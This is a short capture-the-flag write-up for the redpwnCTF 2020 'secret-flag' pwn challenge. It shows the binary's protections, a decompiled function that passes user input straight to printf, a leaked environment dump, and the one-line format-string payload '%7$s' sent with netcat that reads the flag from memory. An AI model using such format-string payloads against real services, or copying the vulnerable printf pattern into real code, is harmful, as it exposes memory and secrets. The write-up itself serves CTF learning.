---
# System prepended metadata

title: (solved) pwn/secret-flag

---

# (solved) pwn/secret-flag

There's a super secret flag in printf that allows you to LEAK the data at an address??
```
nc 2020.redpwnc.tf 31826
```


```bash
# checksec secret-flag
[*] '/root/redpwn/secret-flag/secret-flag'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

Ghidra disass
```c
undefined8 FUN_0010091a(void)
 
{
  int __fd;
  void *__buf;
  long in_FS_OFFSET;
  char local_28 [24];
  long local_10;
 
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  __buf = malloc(0x100);
  __fd = open("flag.txt",0);
  read(__fd,__buf,0x100);
  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  puts("I have a secret flag, which you\'ll never get!");
  puts("What is your name, young adventurer?");
  fgets(local_28,0x14,stdin);
  printf("Hello there: ");
  printf(local_28);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}
```

So leak the file descriptor somehow?

```environment leak
����\x7f
�^\x1aW�
\x00/\x11
\xa25\x84(
�qKiKp\x0e\xaf
\xa2x86_64
ES_SERVI
999_TCP_
ERVICE_P
IN_PORT_
BERNETES
\x00MAIN_PO
MAIN_SER
1.100:99
ST=10.0.
_SERVICE
al/sbin:
=9999\x00MA
ADDR=10.
CE_PORT=
/usr/loc
CE_PORT=
443\x00HOST
0.142.0.
n-f7445c
ES_SERVI
T=443\x00KU
root\x00MAI
:/usr/bi
443\x00HOST
_PORT_HT
//10.0.1
BERNETES
0.11.100
root\x00MAI
et-flag
//10.0.1
//10.0.1
MAIN_SER
//10.0.1
RT_9999_
://10.0.
\x00MAIN_PO
\x00\x00\x00\x00\x00\x00\x00.
VICE_HOS
/secret-
```

so dumb, it was in the stack but because it was a variable pointing to the heap it only contained a reference to it. So i had to use %7$s instead of %7$p to dereference it.
```bash
echo '%7$s'|nc 2020.redpwnc.tf 31826
I have a secret flag, which you'll never get!
What is your name, young adventurer?
Hello there: flag{n0t_s0_s3cr3t_f1ag_n0w}
```